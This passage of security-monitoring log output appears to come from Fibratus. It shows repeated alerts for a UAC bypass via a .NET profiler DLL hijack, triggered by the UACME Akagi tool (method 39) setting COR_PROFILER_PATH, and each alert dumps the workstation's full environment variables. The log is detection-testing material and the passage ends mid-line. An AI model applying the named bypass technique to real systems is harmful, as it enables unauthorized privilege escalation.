string:]]] excluded-procs=>[] excluded-files=>[] fastscan=>true skip-files=>false skip-mmaps=>false enabled=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:187 +time=2025-12-01T17:15:12+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:15:14+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:15:21+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 41441 + Pid: 3084 + Tid: 1272 + Type: RegSetValue + CPU: 4 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:15:20.320604 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 3084 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-01T17:15:49+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 43875 + Pid: 14372 + Tid: 9004 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:15:48.8325473 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 14372 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-01T17:16:05+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 45003 + Pid: 308 + Tid: 18060 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:16:05.4934749 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 308 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program 